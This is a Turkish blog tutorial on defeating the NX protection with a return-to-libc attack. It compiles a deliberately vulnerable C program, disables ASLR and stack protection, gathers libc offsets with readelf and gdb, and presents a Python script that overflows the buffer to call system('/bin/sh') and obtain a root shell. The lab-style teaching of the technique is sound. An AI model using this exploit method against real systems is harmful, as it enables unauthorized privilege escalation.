Salı, Mart 1

Return-2-Libc Analiz ve Exploitation

Merhabalar hekır cemaati, teknik konuları işlemeye, gelişmeye ve geliştirmeye devam. Bugünkü mevzumuz uzun zaman önce işlediğimiz "stack buffer oveflow" konusuyla bağdaşan onun bir alt başlığı olan "NX-BIT" bypass.

Peki nedir bu "NX" diye soranları duyuyorum, isterseniz kısaca açıklayalım. Öncelikle Linux sistemlerde çalışma mantığı ve güvenlik konularında kısa bir bilginiz olması açısından ASLR ve SSP araştırmanızı öneriyorum [yakında bunlar hakkında da geniş bir pdf yazacağım] bununla beraber "NX BIT" açıklamak gerekirse şu şekilde anlatabiliriz;

"NX BIT" stack ve heap korumak amaçlı üretilmiş bir savunma sistemi olup stack diye tabir ettiğimiz programlarımızın çalışması için gerekli olan alanların güvenliğini sağlar açıklama ile mütevellit (non eXecutable) açılımı ile; yazarsın, okursun eyvallah ama çalıştırmaya çalışırsın sıkıntı büyük gibi bir açıklama yapabiliriz. Peki nasıl oluyor bu ? Şu şekilde siz bir programı derlediğinizde ki bu "gcc" ile bir "C" kodunu derlediğinizde program otomatik olarak bu önlemleri alıp ve program için ayrılmış olan ve bizimde işlem yapmamızı sağlayan stack'de bir flag eksiltir o da "eXecute" flag'dir. Bunu görsel olarak açıklamak gerekirse;

GNU_STACK SEKMESI RW yani okunabilir ve yazılabilir lakin çalıştırılamaz.(except x)
Yukarıda ki resimde de gördüğünüz üzere stack şu an sadece sadece okunabilir ve yazılabilir durumda bu şartlar altında yapmamız gereken ise Return-2-Libc methodunu uygulamak peki bu method nedir ve ne işe yarar "NX" nasıl bypasslıyor gibi soruları kısaca açıkladıktan sonra detayları internette araştırarak daha fazla bilgi sahibi olmanız dileğiyle unutmadan "NX" yukarıda da bahsettiğimiz üzere memory korumaya çalışan bir kaç kalkan yazılımlarından birisidir bu seri ile beraber hem exploitation mantığı hemde diğer sistemlerin nasıl aşılacağınıda blog ekleyeceğim. Şimdi methodu kısaca açıklayalım ve uzatmadan işlemlere geçelim;


Return-2-Libc mantığı taşıma suyla değirmeni döndürmeye benziyor, okuma ve yazma imkanı olan bir bölüme belirlenen offsetler dahilinde bir taşıma yapılarak Libc üstünde çalıştırma imkanı verildiğinde açık tetiklenmiş ve bu sayede "Privileges" yani account yetki yükseltmiş oluyor. Bu teknikte kısaca bahsedilmesi gereken bir kaç mevzudan da bahsedip sizi yapılanlarla başbaşa bırakmak istiyorum;

Öncelikle yazılımda kullanılan fonksiyonların çağrılmasıyla açık tetiklenir siz kafanıza göre şuradan ben bir printf şuradan bir puts diye açığı çağıramazsınız en nihayetinde yazılımın içinde ki fonksiyonlarla yazılımın stack bir çalışma söz konusu burada yazılımda da kullanılmış lakin protect edilmiş fonksiyonları bir nevi imece usulle çağırarak yazılımda ki açığı tetikliyoruz başlayalım.


/*bof.c*/
#include <stdio.h>
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[500]; printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
Yukarıda ki örnek kodumuzu derlemeden önce, blog içinde okumuş arkadaşların bildiği üzere klasik işlemleri yapmamız lazım çünkü yukarıda da belirttiğimiz üzere birden çok güvenlik kalkaı var NX haricindekileri off hale getirip "root" yetkisiyle devam edelim;



$ cat "0" > /proc/sys/kernal/randomize_va_space // ASLR Etkisiz
$ gcc -fno-stack-protector -o bof bof.c
$ sudo chmod u+s bof // SUID 
$ ls -la bof
-rwsr-xr-x 1 root root 7410 bof // read-write-suid-run(rwsr)
Yukarıda ki işlemleri yaptıktan sonra son haliyle stack bri görelim;

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00670 0x00670 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00058c 0x0804858c 0x0804858c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1
Yukarıda ki tabloda görüldüğü üzere "readelf -e bof" komutuyla genel olarak bilgileri nerede neyi çalıştıracağımızı ya da çalıştırabileceğimizi yahut okuyabileceğimizi gördük. Stack şu an read-write yani okuma ve yazma modunda lakin yazılanlar çalıştırılamaz.


$ ldd bof
linux-gate.so.1 =>  (0xb7ffe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e37000)
/lib/ld-linux.so.2 (0x80000000)
Yukarıda ki ldd komutuyla bağımlıklaları ve hangi dosyalara çağrı yapacağını ve ihtiyaç duyduğunu görüyoruz. Görmek durumundayız bağımlıklar ve kütüphaneler üzerinden çağrı yapan fonksiyonların offsetlerini "libc.so.6" dosyası üzerinden ayıklayacağız.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "puts"
 203: 00065650   421 FUNC    GLOBAL DEFAULT   12 _IO_puts@@GLIBC_2.0
 430: 00065650   421 FUNC    WEAK   DEFAULT   12 puts@@GLIBC_2.0
 505: 000f1050  1032 FUNC    GLOBAL DEFAULT   12 putspent@@GLIBC_2.0
 690: 000f2860   497 FUNC    GLOBAL DEFAULT   12 putsgent@@GLIBC_2.10
 1173: 000640a0   325 FUNC    WEAK   DEFAULT   12 fputs@@GLIBC_2.0
 1721: 000640a0   325 FUNC    GLOBAL DEFAULT   12 _IO_fputs@@GLIBC_2.0
 2366: 00069710   151 FUNC    GLOBAL DEFAULT   12 fputs_unlocked@@GLIBC_2.1
Yukarıda görülen "puts" fonksiyonun offset adresi 0x00065650 olarak belirlenmiştir bu adres "NX" protect olduğu için etkisiz haldedir, müdahale edeceğiz.


readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
    243: 00119240    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040190    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040190    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
Yukarıda çağrışımda bulunacağımız "system" fonksiyonunun "0x00040190" adresi belirtilmiştir çağırılan diğer fonksiyonunlar çalıştıracak olan system fonk. adresinide not etmiş bulunuyoruz.



strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
   e412 inet6_opt_finish
   f34e _IO_wdefault_finish
   f932 _IO_fflush
  117b5 _IO_file_finish
  11ca3 bdflush
  120e7 tcflush
  12399 _IO_default_finish
 15e0e5 Trailing backslash
 15e5b8 sys/net/ash
 160a24 /bin/sh
 162988 /bin/csh
 1ab831 .gnu.hash
 Belirtilen offset adresi ilede terminale düşeceğiz tam olarak exploit üstünden neler yapmak istediğimizi ve sonrasında kısa bir algoritma ile neler yaptığımzı ve 3 fonksiyonun neyi nasıl çağırdığını görebilirsiniz.


$ gdb-peda$ i proc map // info process map -> uygulamarın çalışma alanı üzerinde ki harita bilgisi
process 7248
Mapped address spaces:
Start Addr   End Addr       Size     Offset objfile
0x8048000  0x8049000     0x1000        0x0 /home/bugger/les/bof
0x8049000  0x804a000     0x1000        0x0 /home/bugger/les/bof
0x804a000  0x804b000     0x1000     0x1000 /home/bugger/les/bof
0xb7e15000 0xb7e16000     0x1000        0x0 
*0xb7e16000 0xb7fbe000   0x1a8000        0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fbe000 0xb7fc0000     0x2000   0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc1000     0x1000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc1000 0xb7fc4000     0x3000        0x0 
0xb7fd7000 0xb7fda000     0x3000        0x0 
0xb7fda000 0xb7fdc000     0x2000        0x0 [vvar]
0xb7fdc000 0xb7fde000     0x2000        0x0 [vdso]
0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000    0x21000        0x0 [stack]
Son olarak Libc base adress belirlememiz gerekiyor bunun için gdb ile dosyamızı açıyoruz bu alanda kodlar çalışacak belirtilen system+puts /bin/sh. 0xb7e16000 offset.

Hops ! Evet son admları atarken exploitation sekmesine geçebiliriz gerekli offsetler elimizde ve son bir dokunuş kalıyor;



#!/usr/bin/python
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
puts = libc_base + 0x00065650
system = libc_base + 0x00040190
binsh = libc_base + 0x160a24
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', system)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', binsh)
with open('buf', 'wb') as f:
    f.write(buf)
p = Popen(['./bof', buf])
p.wait()
Python scriptimiz burada şimdi devamını görelim;




Woouhaa ! NX-BIT aşıldı ve root ekranına düşüldü işlemler burada biterken bir kaç hatırlatma ve izlenen yolları kullanılan kaynakları özellikle benimde bu yazıda çokca faydalandığım bir kaç kaynağı aşağıda bulabilirsiniz.

Neler Yaptık Böyle ?
Öncelikel belirlenen şartlarda karşımıza çıkan belirli şartlarda oluşturulmuş ve belirli güvenlik kurallarına sahip bir sistem koruyucusunu aştık öncelikle bunu tam manasıyla herkesin anlayacağı bir şekilde yazmaktan fayda var, ikinci olarak bu güvenlik sistemi aşılırken yazıda da ısrarla bahsettiğim gibi imece bir usul izlendi lakin exploitation ve kullanılan bu yol son derece modern şekilde işlendi öncelikle zaafiyet bulunan yazılımın içinde ki fonksiyon tespiti yapıldı ve bu fonksiyon aracılığıyla işlemler ilerletildi.


  1. Yazılım sınandı
  2. Zaafiyet tespiti yapıldı
  3. Gerekli fonksiyonlar elde edildi
  4. Exploit yazıldı
  5. Ve sistemde yetki yükseltilerek sistem ele geçirildi.
Genel olarak herkesin anlayacağı bir dille bu şekilde yollar izlendi elimden geldiği kadar açık bir şekilde basitlendirilmiş şekilde yazmaya çalıştım yinede aklınız bir yerlere takılırsa yorum ile sorularınızı sorabilirsiniz.

Hoşçakalın


Kaynaklar:
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/

http://inaz2.hatenablog.com/entry/2014/03/24/020347
https://en.wikipedia.org/wiki/NX_bit
https://wiki.gentoo.org/wiki/Hardened/GNU_stack_quickstart
https://www.bpak.org/blog/wp-content/uploads/1/1323932436.pdf


Very Thanks:

Levent Yüksel - Beni Unutma (JoyTurk Akustik)
Levent Yüksel - Med cezir (JoyTurk Akustik)
Levent Yüksel - Karaağaç (JoyTurk Akustik)
Eflatun - Dünyanın Bütün Sabahları (JoyTurk Akustik)
Bulutsuzluk Özlemi & Hakan Aysev - Sözlerimi Geri Alamam (Live)



1 yorum:

  1. İki gözüm seneler geçiyor .. Neden böyle olduk biz diye soruyorum kendime , üzgünüm , fırsatları değerlendiremediğim için .. ulaşmama engelsin tek çareyi buraya yazmakta buldum

    YanıtlaSil

Blogger tarafından desteklenmektedir.